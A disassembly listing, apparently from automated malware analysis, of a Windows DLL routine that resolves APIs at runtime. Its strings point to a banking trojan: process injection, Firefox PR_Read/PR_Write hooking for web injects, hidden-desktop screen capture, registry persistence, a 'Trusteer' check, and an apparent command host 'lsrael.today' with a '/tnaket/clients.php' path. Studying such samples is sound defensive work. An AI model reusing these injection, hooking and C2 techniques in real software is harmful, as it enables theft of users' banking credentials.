Function at 0x180002854
Capabilities:
Compress data via winapi

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x38
and qword [0x18003eb98], 0
lea rax, str.lsrael.today
lea r11, str.Kernel32.dll
mov qword [0x18003eb90], rax
lea rax, str._tnaket_clients.php
lea rbx, [0x18002f810]
mov qword [0x18003eb88], rax
lea rax, str.User32.dll
mov qword [0x18003ef98], r11
mov qword [0x18003ef90], rax
lea rax, str.KernelBase.dll
mov qword [0x18003f078], rbx
mov qword [0x18003efa0], rax
lea rax, str.msvcrt.dll
mov qword [0x18003efa8], rax
lea rax, str.ntdll.dll
mov qword [0x18003efb0], rax
lea rax, str.Shlwapi.dll
mov qword [0x18003efb8], rax
lea rax, str.Shell32.dll
mov qword [0x18003efc0], rax
lea rax, str.Secur32.dll
mov qword [0x18003efc8], rax
lea rax, str.Advapi32.dll
mov qword [0x18003efd0], rax
lea rax, str.ws2_32.dll
mov qword [0x18003efd8], rax
lea rax, str.version.dll
mov qword [0x18003efe0], rax
lea rax, str.Psapi.dll
mov qword [0x18003efe8], rax
lea rax, str.wininet.dll
mov qword [0x18003eff0], rax
lea rax, str.gdi32.dll
mov qword [0x18003eff8], rax
lea rax, str.:Zone.Identifier
mov qword [0x18003f8d0], rax
lea rax, str.MessageBoxA
mov qword [0x18003f028], rax
lea rax, str.GetWindowsDirectoryA
mov qword [0x18003f030], rax
lea rax, [0x18002f770]
mov qword [0x18003f020], rax
lea rax, str.LocalAlloc
mov qword [0x18003f038], rax
lea rax, str.wsprintfA
mov qword [0x18003f040], rax
lea rax, [0x18002f7a8]
mov qword [0x18003f048], rax
lea rax, str.free
mov qword [0x18003f058], rax
lea rax, str.VirtualAllocEx
mov qword [0x18003f060], rax
lea rax, str.WriteProcessMemory
mov qword [0x18003f068], rax
lea rax, str.CreateRemoteThread
mov qword [0x18003f070], rax
lea rax, [0x18002f820]
mov qword [0x18003f080], rax
lea rax, str.PathRemoveFileSpecA
mov qword [0x18003f088], rax
lea rax, [0x18002f848]
mov qword [0x18003f090], rax
lea rax, str.PathFindFileNameA
mov qword [0x18003f098], rax
lea rax, str.strncmp
mov qword [0x18003f0a0], rax
lea rax, str._strnicmp
mov qword [0x18003f0a8], rax
lea rax, [0x18002f890]
mov qword [0x18003f0b0], rax
lea rax, [0x18002f8a0]
mov qword [0x18003f0b8], rax
lea rax, str.SHGetFolderPathA
mov qword [0x18003f0c0], rax
lea rax, str.lstrcpyA
mov qword [0x18003f0c8], rax
lea rax, [0x18002f8d8]
mov qword [0x18003f0d0], rax
lea rax, str.CopyFileA
mov qword [0x18003f0d8], rax
lea rax, str.GetVolumeInformationA
mov qword [0x18003f0e0], rax
lea rax, str.GetUserNameExA
mov qword [0x18003f0e8], rax
lea rax, str.LookupAccountNameA
mov qword [0x18003f0f0], rax
lea rax, str.ConvertSidToStringSidA
mov qword [0x18003f0f8], rax
lea rax, str.LocalFree
mov qword [0x18003f100], rax
lea rax, str.malloc
mov qword [0x18003f050], rax
lea rax, [0x18002f960]
mov qword [0x18003f110], rax
lea rax, str.lstrcmpA
mov qword [0x18003f118], rax
lea rax, str.StrStrA
mov qword [0x18003f120], rax
lea rax, str.StrStrIA
mov qword [0x18003f128], rax
lea rax, str.strtol
mov qword [0x18003f130], rax
lea rax, str.realloc
mov qword [0x18003f138], rax
lea rax, str.WSAStartup
mov qword [0x18003f140], rax
lea rax, str.socket
mov qword [0x18003f148], rax
lea rax, str.gethostbyname
mov qword [0x18003f150], rax
lea rax, str.htons
mov qword [0x18003f158], rax
lea rax, str.connect
mov qword [0x18003f160], rax
lea rax, str.send
mov qword [0x18003f168], rax
lea rax, str.recv
mov qword [0x18003f170], rax
lea rax, str.closesocket
mov qword [0x18003f178], rax
lea rax, str.WSACleanup
mov qword [0x18003f180], rax
lea rax, str.memset
mov qword [0x18003f188], rax
lea rax, str.memcpy
mov qword [0x18003f108], rax
lea rax, [0x18002fa1c]
mov qword [0x18003f190], rax
lea rax, str.NtOpenKey
mov qword [0x18003f198], rax
lea rax, str.NtSetValueKey
mov qword [0x18003f1a8], rax
lea rax, [0x18002fa48]
mov qword [0x18003f1a0], rax
lea rax, str.CreateProcessA
mov qword [0x18003f1b0], rax
lea rax, str.NtCreateThreadEx
mov qword [0x18003f348], rax
lea rax, [0x18002fa80]
mov qword [0x18003f350], rax
lea rax, str.FindWindowA
mov qword [0x18003f358], rax
lea rax, str.NtUnmapViewOfSection
mov qword [0x18003f4d8], rax
lea rax, str.NtQueryInformationProcess
mov qword [0x18003f4e0], rax
lea rax, [0x18002fae0]
mov qword [0x18003f4e8], rax
lea rax, [0x18002faf8]
mov qword [0x18003f4f0], rax
lea rax, str.SHFileOperationA
mov qword [0x18003f4f8], rax
lea rax, str.FindFirstFileA
mov qword [0x18003f500], rax
lea rax, str.FindNextFileA
mov qword [0x18003f508], rax
lea rax, str.GetWindowThreadProcessId
mov qword [0x18003f360], rax
lea rax, str.InitializeCriticalSection
mov qword [0x18003f1c8], rax
lea rax, [0x18002fb88]
mov qword [0x18003f1d0], rax
lea rax, [0x18002fb98]
mov qword [0x18003f1b8], rax
lea rax, [0x18002fbb0]
mov qword [0x18003f1c0], rax
lea rax, str._errno
mov qword [0x18003f1d8], rax
lea rax, str.tolower
mov qword [0x18003f1e0], rax
lea rax, str.isdigit
mov qword [0x18003f1e8], rax
lea rax, str.strtoul
mov qword [0x18003f1f0], rax
lea rax, str.isxdigit
mov qword [0x18003f1f8], rax
lea rax, str.strtod
mov qword [0x18003f200], rax
lea rax, [0x18002fc00]
mov qword [0x18003f208], rax
lea rax, str.Process32First
mov qword [0x18003f210], rax
lea rax, str.Process32Next
mov qword [0x18003f218], rax
lea rax, str.StrChrA
mov qword [0x18003f220], rax
lea rax, str.StrToIntA
mov qword [0x18003f228], rax
lea rax, [0x18002fc58]
mov qword [0x18003f230], rax
lea rax, str.GetFileVersionInfoSizeA
mov qword [0x18003f238], rax
lea rax, str.GetFileVersionInfoA
mov qword [0x18003f240], rax
lea rax, str.VerQueryValueA
mov qword [0x18003f248], rax
lea rax, str.GetModuleInformation
mov qword [0x18003f250], rax
lea rax, str.memcmp
mov qword [0x18003f258], rax
lea rax, str.ExpandEnvironmentStringsA
mov qword [0x18003f260], rax
lea rax, str.GetPrivateProfileSectionNamesA
mov qword [0x18003f268], rax
lea rax, str.GetPrivateProfileStringA
mov qword [0x18003f270], rax
lea rax, [0x18002fd30]
mov qword [0x18003f278], rax
lea rax, [0x18002fd40]
mov qword [0x18003f280], rax
lea rax, [0x18002fd50]
mov qword [0x18003f288], rax
lea rax, str.RegSetValueExA
mov qword [0x18003f290], rax
lea rax, str.RegOpenKeyExA
mov qword [0x18003f298], rax
lea rax, str.RegCloseKey
mov qword [0x18003f2a0], rax
lea rax, [0x18002fd90]
mov qword [0x18003f2a8], rax
lea rax, [0x18002fda0]
mov qword [0x18003f2b0], rax
lea rax, str.IsWow64Process
mov qword [0x18003f2b8], rax
lea rax, str.GetNativeSystemInfo
mov qword [0x18003f2c0], rax
lea rax, str.OpenProcess
mov qword [0x18003f2c8], rax
lea rax, [0x18002fde8]
mov qword [0x18003f2d0], rax
lea rax, str.GetUserNameW
mov qword [0x18003f2d8], rax
lea rax, str.GetComputerNameW
mov qword [0x18003f2e0], rax
lea rax, str.GetVersionExA
mov qword [0x18003f2e8], rax
lea rax, str.CreateNamedPipeA
mov qword [0x18003f2f0], rax
lea rax, str.ConnectNamedPipe
mov qword [0x18003f2f8], rax
lea rax, str.DisconnectNamedPipe
mov qword [0x18003f300], rax
lea rax, str.InternetCrackUrlA
mov qword [0x18003f308], rax
lea rax, str.GetTempPathA
mov qword [0x18003f310], rax
lea rax, str.GetTempFileNameA
mov qword [0x18003f318], rax
lea rax, str.ShellExecuteA
mov qword [0x18003f320], rax
lea rax, str.ioctlsocket
mov qword [0x18003f328], rax
lea rax, str.ntohs
mov qword [0x18003f330], rax
lea rax, str.CreateMutexA
mov qword [0x18003f338], rax
lea rax, str.ReleaseMutex
mov qword [0x18003f340], rax
lea rax, str.WaitForSingleObject
mov qword [0x18003f368], rax
lea rax, str.EnumWindows
mov qword [0x18003f370], rax
lea rax, [0x18002ff28]
mov qword [0x18003f378], rax
lea rax, str.DeleteFileA
mov qword [0x18003f380], rax
lea rax, str.PathFileExistsA
mov qword [0x18003f388], rax
lea rax, str.CreateDirectoryA
mov qword [0x18003f390], rax
lea rax, str.HttpQueryInfoA
mov qword [0x18003f398], rax
lea rax, str.HttpQueryInfoW
mov qword [0x18003f3a0], rax
lea rax, str.RtlCompressBuffer
mov qword [0x18003f3a8], rax
lea rax, str.RtlGetCompressionWorkSpaceSize
mov qword [0x18003f3b0], rax
lea rax, str.SetThreadDesktop
mov qword [0x18003f3b8], rax
lea rax, str.CreateDesktopA
mov qword [0x18003f3c0], rax
lea rax, str.OpenDesktopA
mov qword [0x18003f3c8], rax
lea rax, str.TerminateThread
mov qword [0x18003f3d0], rax
lea rax, str.PostMessageA
mov qword [0x18003f3d8], rax
lea rax, str.SendMessageA
mov qword [0x18003f3e0], rax
lea rax, str.ChildWindowFromPoint
mov qword [0x18003f3e8], rax
lea rax, str.ScreenToClient
mov qword [0x18003f3f0], rax
lea rax, str.MoveWindow
mov qword [0x18003f3f8], rax
lea rax, str.GetWindowRect
mov qword [0x18003f400], rax
lea rax, str.GetMenuItemID
mov qword [0x18003f408], rax
lea rax, str.MenuItemFromPoint
mov qword [0x18003f410], rax
lea rax, str.RealGetWindowClassA
mov qword [0x18003f418], rax
lea rax, str.PtInRect
mov qword [0x18003f420], rax
lea rax, str.GetWindowPlacement
mov qword [0x18003f428], rax
lea rax, str.SetWindowLongA
mov qword [0x18003f430], rax
lea rax, str.GetWindowLongA
mov qword [0x18003f438], rax
lea rax, str.WindowFromPoint
mov qword [0x18003f440], rax
lea rax, str.SHAppBarMessage
mov qword [0x18003f448], rax
lea rax, str.RegQueryValueExA
mov qword [0x18003f450], rax
lea rax, str.GetDesktopWindow
mov qword [0x18003f458], rax
lea rax, str.DeleteDC
mov qword [0x18003f460], rax
lea rax, str.ReleaseDC
mov qword [0x18003f468], rax
lea rax, str.DeleteObject
lea r8, str.Content_Length
mov qword [0x18003f470], rax
lea rax, str.GetDIBits
lea rdx, str.Transfer_Encoding
mov qword [0x18003f478], rax
lea rax, str.StretchBlt
lea r10, [0x180030308]
mov qword [0x18003f480], rax
lea rax, str.SetStretchBltMode
lea r9, str.Firefox
mov qword [0x18003f488], rax
lea rax, str.SelectObject
lea rcx, str._r_nContent_Length:
mov qword [0x18003f490], rax
lea rax, str.CreateCompatibleDC
mov qword [0x18003f590], r10
mov qword [0x18003f498], rax
lea rax, str.CreateCompatibleBitmap
mov qword [0x18003f598], r8
mov qword [0x18003f4a0], rax
lea rax, str.GetDC
mov qword [0x18003f5a0], rdx
mov qword [0x18003f4a8], rax
lea rax, str.IsWindowVisible
mov qword [0x18003f620], r9
mov qword [0x18003f4b0], rax
lea rax, str.GetWindow
mov qword [0x18003f660], rcx
mov qword [0x18003f4b8], rax
lea rax, str.PrintWindow
mov qword [0x18003f678], r8
mov qword [0x18003f4c8], rax
lea rax, str.GetTopWindow
mov qword [0x18003f680], rdx
mov qword [0x18003f4d0], rax
lea rax, str..exe
mov qword [0x18003f548], rax
lea rax, [0x180030250]
mov qword [0x18003f550], rax
lea rax, [0x180030254]
mov qword [0x18003f558], rax
lea rax, str.GET
mov qword [0x18003f560], rax
lea rax, str._HTTP_1.1_r_n
mov qword [0x18003f568], rax
lea rax, str.Host:
mov qword [0x18003f570], rax
lea rax, str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_nUser_Agent:_CasperSecurity_r_n
mov qword [0x18003f578], rax
lea rax, str.Content_Length:
mov qword [0x18003f580], rax
lea rax, str.HTTP_1.1_200_OK
mov qword [0x18003f588], rax
lea rax, str.chunked
mov qword [0x18003f5a8], rax
lea rax, [0x18002f620]
mov qword [0x18003f5b0], rax
lea rax, [0x180030340]
mov qword [0x18003f5b8], rax
lea rax, str.ping
mov qword [0x18003f5d8], rax
lea rax, str.firefox.exe
mov qword [0x18003f5f8], rax
lea rax, str.GetInjects
mov qword [0x18003f610], rax
lea rax, str.nss3.dll
mov qword [0x18003f638], rax
lea rax, str.PR_Read
mov qword [0x18003f648], rax
lea rax, str.PR_Write
mov qword [0x18003f650], rax
lea rax, str.Accept_Encoding
mov qword [0x18003f668], rax
lea rax, str.identity
mov qword [0x18003f670], rax
lea rax, str.Connection
mov qword [0x18003f688], rax
lea rax, str.close
mov qword [0x18003f690], rax
lea rax, str._r_nContent_Type:
mov qword [0x18003f6b0], rcx
mov rcx, r11
mov qword [0x18003f698], rax
lea rax, str.text_html
mov qword [0x18003f6d0], r10
mov qword [0x18003f6a0], rax
lea rax, str._r_nLocation:
mov qword [0x18003f760], r9
mov qword [0x18003f6a8], rax
lea rax, str._r_n_r_n
mov qword [0x18003f6c0], rax
lea rax, str._r_n_s:__r_n
mov qword [0x18003f6c8], rax
lea rax, str._r_nHost:
mov qword [0x18003f6d8], rax
lea rax, str.http_s_:__
mov qword [0x18003f6e0], rax
lea rax, str.form_s_s_d
mov qword [0x18003f6e8], rax
lea rax, str.info_d_d_d_d_s_s_d_d
mov qword [0x18003f888], rax
lea rax, str.Mozilla
mov qword [0x18003f758], rax
lea rax, [0x18002f48e]
mov qword [0x18003f8e0], rax
lea rax, str..pipe_s
mov qword [0x18003f890], rax
lea rax, str.open
mov qword [0x18003f898], rax
lea rax, str.As_we_walked_along_the_flatblock_marina__I_was_calm_on_the_outside__but_thinking_all_the_time._So_now_it_was_to_be_Georgie_the_general__saying_what_we_should_do_and_what_not_to_do__and_Dim_as_his_mindless_greeding_bulldog._But_suddenly_I_viddied_that_thinking_was_for_the_gloopy_ones_and_that_the_oomny_ones_use__like__inspiration_and_what_Bog_sends._For_now_it_was_lovely_music_that_came_to_my_aid._There_was_a_window_open_with_the_stereo_on_and_I_viddied_right_at_once_what_to_do.
mov qword [0x18003f8a0], rax
lea rax, str.Shell_TrayWnd
mov qword [0x18003f8a8], rax
lea rax, str.verclsid.exe
mov qword [0x18003f8b0], rax
lea rax, [0x1800306b8]
mov qword [0x18003f8b8], rax
lea rax, [0x1800306bc]
mov qword [0x18003f8c0], rax
lea rax, str.child.dll
mov qword [0x18003f8c8], rax
lea rax, str.Trusteer
mov qword [0x18003f8d8], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18003ef90]
mov qword [0x18003e6f0], rax
call rax
mov rcx, qword [0x18003ef98]
mov qword [rsp + 0x88], rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efa8]
mov qword [rsp + 0x80], rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efb0]
mov rbp, rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efb8]
mov qword [rsp + 0x98], rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efc0]
mov r12, rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efc8]
mov qword [rsp + 0x90], rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efd0]
mov rbx, rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efd8]
mov r13, rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efe0]
mov r14, rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003efe8]
mov rdi, rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003eff0]
mov rsi, rax
call qword [0x18003e6f0]
mov rcx, qword [0x18003eff8]
mov r15, rax
call qword [0x18003e6f0]
mov rdx, qword [0x18003f080]
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x18003f028]
mov rcx, qword [rsp + 0x88]
mov qword [0x18003e6f8], rax
call rax
mov rdx, qword [0x18003f030]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e698], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f020]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e6a0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f038]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e6a8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f040]
mov rcx, qword [rsp + 0x88]
mov qword [0x18003e6b0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f048]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e6b8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f050]
mov rcx, rbp
mov qword [0x18003e6c0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f058]
mov rcx, rbp
mov qword [0x18003e6c8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f060]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e6d0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f068]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e6d8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f070]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e6e0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f088]
mov rcx, r12
mov qword [0x18003e6e8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f090]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e700], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f098]
mov rcx, r12
mov qword [0x18003e708], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0a0]
mov rcx, rbp
mov qword [0x18003e710], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0a8]
mov rcx, rbp
mov qword [0x18003e718], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0b0]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e720], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0b8]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e728], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0c0]
mov rcx, qword [rsp + 0x90]
mov qword [0x18003e730], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0c8]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e738], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0d0]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e740], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0d8]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e748], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0e0]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e750], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0e8]
mov rcx, rbx
mov qword [0x18003e758], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0f0]
mov rcx, r13
mov qword [0x18003e760], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f0f8]
mov rcx, r13
mov qword [0x18003e768], rax
call qword [0x18003e6f8]
mov rbx, qword [rsp + 0x80]
mov rdx, qword [0x18003f100]
mov rcx, rbx
mov qword [0x18003e770], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f108]
mov rcx, rbp
mov qword [0x18003e778], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f118]
mov rcx, rbx
mov qword [0x18003e780], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f110]
mov rcx, rbx
mov qword [0x18003e790], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f120]
mov rcx, r12
mov qword [0x18003e788], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f128]
mov rcx, r12
mov qword [0x18003e798], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f130]
mov rcx, rbp
mov qword [0x18003e7a0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f138]
mov rcx, rbp
mov qword [0x18003e7a8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f140]
mov rcx, r14
mov qword [0x18003e7b0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f148]
mov rcx, r14
mov qword [0x18003e7b8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f150]
mov rcx, r14
mov qword [0x18003e7c0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f158]
mov rcx, r14
mov qword [0x18003e7c8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f160]
mov rcx, r14
mov qword [0x18003e7d0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f168]
mov rcx, r14
mov qword [0x18003e7d8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f170]
mov rcx, r14
mov qword [0x18003e7e0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f178]
mov rcx, r14
mov qword [0x18003e7e8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f180]
mov rcx, r14
mov qword [0x18003e7f0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f188]
mov rcx, rbp
mov qword [0x18003e7f8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f190]
mov rcx, rbx
mov qword [0x18003e800], rax
call qword [0x18003e6f8]
mov rbx, qword [rsp + 0x98]
mov rdx, qword [0x18003f198]
mov rcx, rbx
mov qword [0x18003e808], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1a8]
mov rcx, rbx
mov qword [0x18003e810], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1a0]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e818], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f538]
mov rcx, rbx
mov qword [0x18003e690], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1b0]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e820], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1c8]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e828], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1b8]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e830], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1c0]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e840], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1d0]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e838], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1d8]
mov rcx, rbp
mov qword [0x18003e848], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1e0]
mov rcx, rbp
mov qword [0x18003e850], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1e8]
mov rcx, rbp
mov qword [0x18003e858], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1f0]
mov qword [0x18003e860], rax
mov rcx, rbp
call qword [0x18003e6f8]
mov rdx, qword [0x18003f1f8]
mov rcx, rbp
mov qword [0x18003e868], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f200]
mov rcx, rbp
mov qword [0x18003e870], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f208]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e878], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f210]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e880], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f218]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e888], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f220]
mov rcx, r12
mov qword [0x18003e890], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f228]
mov rcx, r12
mov qword [0x18003e898], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f230]
mov rcx, qword [rsp + 0x80]
mov qword [0x18003e8a0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f238]
mov rcx, rdi
mov qword [0x18003e8a8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f240]
mov rcx, rdi
mov qword [0x18003e8b0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f248]
mov rcx, rdi
mov qword [0x18003e8b8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f250]
mov rcx, rsi
mov qword [0x18003e8c0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f258]
mov rcx, rbp
mov qword [0x18003e8c8], rax
call qword [0x18003e6f8]
mov rbp, qword [rsp + 0x80]
mov rdx, qword [0x18003f260]
mov rcx, rbp
mov qword [0x18003e8d0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f268]
mov rcx, rbp
mov qword [0x18003e8d8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f270]
mov rcx, rbp
mov qword [0x18003e8e0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f278]
mov rcx, rbp
mov qword [0x18003e8e8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f280]
mov rcx, rbp
mov qword [0x18003e8f0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f288]
mov rcx, rbp
mov qword [0x18003e8f8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f290]
mov qword [0x18003e900], rax
mov rcx, r13
call qword [0x18003e6f8]
mov rdx, qword [0x18003f298]
mov rcx, r13
mov qword [0x18003e908], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2a0]
mov rcx, r13
mov qword [0x18003e910], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2a8]
mov rcx, rbp
mov qword [0x18003e918], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2b0]
mov rcx, rbp
mov qword [0x18003e920], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2b8]
mov rcx, rbp
mov qword [0x18003e928], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2c0]
mov rcx, rbp
mov qword [0x18003e930], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2c8]
mov rcx, rbp
mov qword [0x18003e938], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2d0]
mov rcx, rbp
mov qword [0x18003e940], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2d8]
mov rcx, r13
mov qword [0x18003e948], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2e0]
mov rcx, rbp
mov qword [0x18003e950], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2e8]
mov rcx, rbp
mov qword [0x18003e958], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2f0]
mov rcx, rbp
mov qword [0x18003e960], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f2f8]
mov rcx, rbp
mov qword [0x18003e968], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f300]
mov rcx, rbp
mov qword [0x18003e970], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f308]
mov rcx, r15
mov qword [0x18003e978], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f310]
mov rcx, rbp
mov qword [0x18003e980], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f318]
mov rcx, rbp
mov qword [0x18003e988], rax
call qword [0x18003e6f8]
mov rsi, qword [rsp + 0x90]
mov rdx, qword [0x18003f320]
mov rcx, rsi
mov qword [0x18003e990], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f328]
mov rcx, r14
mov qword [0x18003e998], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f330]
mov qword [0x18003e9a0], rax
mov rcx, r14
call qword [0x18003e6f8]
mov rdx, qword [0x18003f338]
mov rcx, rbp
mov qword [0x18003e9a8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f340]
mov rcx, rbp
mov qword [0x18003e9b0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f348]
mov rcx, rbx
mov qword [0x18003e9b8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f350]
mov rcx, rbp
mov qword [0x18003e9c0], rax
call qword [0x18003e6f8]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [0x18003f358]
mov rcx, rdi
mov qword [0x18003e9c8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f360]
mov rcx, rdi
mov qword [0x18003e9d0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f368]
mov rcx, rbp
mov qword [0x18003e9d8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f370]
mov rcx, rdi
mov qword [0x18003e9e0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f378]
mov rcx, rbp
mov qword [0x18003e9e8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f380]
mov rcx, rbp
mov qword [0x18003e9f0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f388]
mov rcx, r12
mov qword [0x18003e9f8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f390]
mov rcx, rbp
mov qword [0x18003ea00], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f398]
mov rcx, r15
mov qword [0x18003ea08], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3a0]
mov rcx, r15
mov qword [0x18003ea10], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3a8]
mov rcx, rbx
mov qword [0x18003ea18], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3b0]
mov rcx, rbx
mov qword [0x18003ea20], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3b8]
mov rcx, rdi
mov qword [0x18003ea28], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3c0]
mov rcx, rdi
mov qword [0x18003ea30], rax
call qword [0x18003e6f8]
